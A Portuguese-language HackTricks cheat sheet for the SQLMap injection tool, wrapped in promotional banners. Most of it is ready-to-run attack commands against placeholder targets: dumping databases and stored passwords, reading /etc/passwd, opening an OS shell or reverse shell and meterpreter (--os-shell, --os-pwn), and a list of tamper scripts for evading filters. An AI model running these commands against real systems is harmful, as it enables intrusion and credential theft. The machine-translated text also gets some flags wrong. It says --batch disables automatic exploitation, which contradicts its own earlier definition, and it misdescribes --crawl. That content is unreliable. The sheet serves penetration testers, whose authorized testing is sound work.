21 KiB
SQLMap - CheatSheet
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde as últimas pesquisas em espanhol são apresentadas, atraindo hackers e pesquisadores de todo o mundo.
Registre-se agora no link abaixo e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org/" %}
Argumentos básicos para o SQLmap
Genéricos
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Recuperar Informação
Interno
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
Dados do banco de dados
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Local de Injeção
A partir da captura do Burp/ZAP
Capture a requisição e crie um arquivo req.txt.
sqlmap -r req.txt --current-user
Injeção de Requisição GET
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Injeção de Requisição POST
sqlmap -u "http://example.com" --data "username=*&password=*"
Injeções em Headers e outros Métodos HTTP
Header Injection
Injeção em Headers
Header injection vulnerabilities occur when user input is not properly sanitized and is included in an HTTP header. This can allow an attacker to inject additional headers or modify existing ones, potentially leading to a range of attacks such as cross-site scripting (XSS), session hijacking, and cache poisoning.
Vulnerabilidades de injeção em headers ocorrem quando a entrada do usuário não é devidamente sanitizada e é incluída em um header HTTP. Isso pode permitir que um atacante injete headers adicionais ou modifique os existentes, potencialmente levando a uma série de ataques, como cross-site scripting (XSS), sequestro de sessão e envenenamento de cache.
HTTP Method Tampering
Manipulação de Método HTTP
HTTP Method Tampering vulnerabilities occur when an attacker is able to modify the HTTP method used in a request. For example, an attacker may be able to change a POST request to a GET request, potentially bypassing security controls that are designed to prevent unauthorized access to sensitive data or functionality.
Vulnerabilidades de manipulação de método HTTP ocorrem quando um atacante é capaz de modificar o método HTTP usado em uma solicitação. Por exemplo, um atacante pode ser capaz de mudar uma solicitação POST para uma solicitação GET, potencialmente contornando controles de segurança que são projetados para impedir o acesso não autorizado a dados ou funcionalidades sensíveis.
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Indicar a string quando a injeção for bem-sucedida
--string="string_showed_when_TRUE"
Eval
O Sqlmap permite o uso de -e
ou --eval
para processar cada payload antes de enviá-lo com algum código python em uma linha. Isso torna muito fácil e rápido processar de maneiras personalizadas o payload antes de enviá-lo. No exemplo a seguir, a sessão de cookie do flask é assinada pelo flask com o segredo conhecido antes de enviá-la:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Shell
A opção --os-shell
permite que você obtenha um shell interativo no sistema operacional subjacente. Isso é útil quando você deseja executar comandos que não são suportados pelo SQLi, como ler arquivos ou executar programas.
sqlmap -r request.txt --os-shell
Isso abrirá um shell interativo no sistema operacional subjacente. A partir daqui, você pode executar comandos como faria normalmente em um terminal.
os-shell> whoami
root
os-shell> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Lembre-se de que você está agora em um shell interativo no sistema operacional subjacente. Tenha cuidado com o que você executa e certifique-se de que você sabe o que está fazendo.
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Ler Arquivo
A opção --file-read
do Sqlmap permite ler arquivos do sistema de arquivos do servidor de banco de dados. Para usá-la, basta especificar o caminho do arquivo que se deseja ler.
Exemplo:
sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"
Este comando irá ler o arquivo /etc/passwd
do servidor de banco de dados e exibir seu conteúdo na saída do Sqlmap. É importante lembrar que o usuário que está executando o comando deve ter permissão de leitura no arquivo desejado.
--file-read=/etc/passwd
Rastreando um site com SQLmap e auto-exploit
O SQLmap é uma ferramenta poderosa para testes de penetração em sites que possuem vulnerabilidades de injeção de SQL. Uma das funcionalidades mais úteis do SQLmap é a capacidade de rastrear automaticamente um site em busca de vulnerabilidades de injeção de SQL e, em seguida, explorá-las automaticamente.
Para rastrear um site com o SQLmap, basta executar o seguinte comando:
sqlmap -u <URL> --crawl=1
Isso fará com que o SQLmap rastreie o site especificado na URL em busca de vulnerabilidades de injeção de SQL. O parâmetro --crawl=1
indica que o SQLmap deve seguir todos os links encontrados no site.
Se o SQLmap encontrar uma vulnerabilidade de injeção de SQL, ele tentará explorá-la automaticamente. Para desativar essa funcionalidade, use o parâmetro --batch
.
sqlmap -u <URL> --crawl=1 --batch
Este comando fará com que o SQLmap rastreie o site especificado na URL em busca de vulnerabilidades de injeção de SQL, mas não tentará explorá-las automaticamente.
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Injeção de Segunda Ordem
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Leia este post** sobre como realizar injeções de segunda ordem simples e complexas com o sqlmap.**
DragonJAR Security Conference é um evento internacional de segurança cibernética com mais de uma década de existência que será realizado nos dias 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento com grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org/" %}
Personalizando a Injeção
Definir um sufixo
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Prefixo
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Ajuda para encontrar injeção booleana
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Lembre-se de que você pode criar seu próprio tamper em python e é muito simples. Você pode encontrar um exemplo de tamper na página Injeção de Segunda Ordem aqui.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Descrição |
---|---|
apostrophemask.py | Substitui o caractere apóstrofo pelo seu equivalente UTF-8 de largura total |
apostrophenullencode.py | Substitui o caractere apóstrofo pelo seu equivalente duplo unicode ilegal |
appendnullbyte.py | Adiciona um byte nulo codificado ao final da carga útil |
base64encode.py | Codifica em base64 todos os caracteres em uma determinada carga útil |
between.py | Substitui o operador maior que ('>') por 'NOT BETWEEN 0 AND #' |
bluecoat.py | Substitui o caractere de espaço após a instrução SQL por um caractere em branco válido aleatório. Em seguida, substitui o caractere '=' pelo operador LIKE |
chardoubleencode.py | Codifica em dobro todos os caracteres em uma determinada carga útil (não processando os já codificados) |
commalesslimit.py | Substitui instâncias como 'LIMIT M, N' por 'LIMIT N OFFSET M' |
commalessmid.py | Substitui instâncias como 'MID(A, B, C)' por 'MID(A FROM B FOR C)' |
concat2concatws.py | Substitui instâncias como 'CONCAT(A, B)' por 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Codifica em URL todos os caracteres em uma determinada carga útil (não processando os já codificados) |
charunicodeencode.py | Codifica em URL Unicode os caracteres não codificados em uma determinada carga útil (não processando os já codificados). "%u0022" |
charunicodeescape.py | Codifica em URL Unicode os caracteres não codificados em uma determinada carga útil (não processando os já codificados). "\u0022" |
equaltolike.py | Substitui todas as ocorrências do operador igual ('=') pelo operador 'LIKE' |
escapequotes.py | Escapa aspas simples (' e ") |
greatest.py | Substitui o operador maior que ('>') pelo seu equivalente GREATEST |
halfversionedmorekeywords.py | Adiciona comentário versionado do MySQL antes de cada palavra-chave |
ifnull2ifisnull.py | Substitui instâncias como 'IFNULL(A, B)' por 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Envolve a consulta completa com comentário versionado do MySQL |
modsecurityzeroversioned.py | Envolve a consulta completa com comentário de versão zero do MySQL |
multiplespaces.py | Adiciona vários espaços em torno das palavras-chave SQL |
nonrecursivereplacement.py | Substitui palavras-chave SQL predefinidas por representações adequadas para substituição (por exemplo, .replace("SELECT", "")) filtros |
percentage.py | Adiciona um sinal de porcentagem ('%') na frente de cada caractere |
overlongutf8.py | Converte todos os caracteres em uma determinada carga útil (não processando os já codificados) |
randomcase.py | Substitui cada caractere de palavra-chave por um valor de caso aleatório |
randomcomments.py | Adiciona comentários aleatórios às palavras-chave SQL |
securesphere.py | Adiciona uma string especial criada |
sp_password.py | Adiciona 'sp_password' ao final da carga útil para obfuscação automática dos logs do DBMS |
space2comment.py | Substitui o caractere de espaço (' ') por comentários |
space2dash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma string aleatória e uma nova linha ('\n') |
space2hash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n') |
space2morehash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma string aleatória e uma nova linha ('\n') |
space2mssqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
space2mssqlhash.py | Substitui o caractere de espaço (' ') por um caractere de libra ('#') seguido de uma nova linha ('\n') |
space2mysqlblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
space2mysqldash.py | Substitui o caractere de espaço (' ') por um comentário de traço ('--') seguido de uma nova linha ('\n') |
space2plus.py | Substitui o caractere de espaço (' ') por um sinal de mais ('+') |
space2randomblank.py | Substitui o caractere de espaço (' ') por um caractere em branco aleatório de um conjunto válido de caracteres alternativos |
symboliclogical.py | Substitui os operadores lógicos AND e OR por seus equivalentes simbólicos (&& e ||) |
unionalltounion.py | Substitui UNION ALL SELECT por UNION SELECT |
unmagicquotes.py | Substitui o caractere de aspas simples (') por uma combinação multibyte %bf%27 juntamente com um comentário genérico no final (para que funcione) |
uppercase.py | Substitui cada caractere de palavra-chave por um valor em maiúsculas 'INSERT' |
varnish.py | Adiciona um cabeçalho HTTP 'X-originating-IP' |
versionedkeywords.py | Envolve cada palavra-chave não funcional com comentário versionado do MySQL |
versionedmorekeywords.py | Envolve cada palavra-chave com comentário versionado do MySQL |
xforwardedfor.py | Adiciona um cabeçalho HTTP falso 'X-Forwarded-For' |
[DragonJAR Security Conference é um evento internacional de cibersegurança com mais de uma década de existência que será realizado em 7 e 8 de setembro de 2023 em Bogotá, Colômbia. É um evento de grande conteúdo técnico onde são apresentadas as últimas pesquisas em espanhol que atrai hackers e pesquisadores de todo o mundo.
Registre-se agora no seguinte link e não perca esta grande conferência!:
{% embed url="https://www.dragonjarcon.org/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktr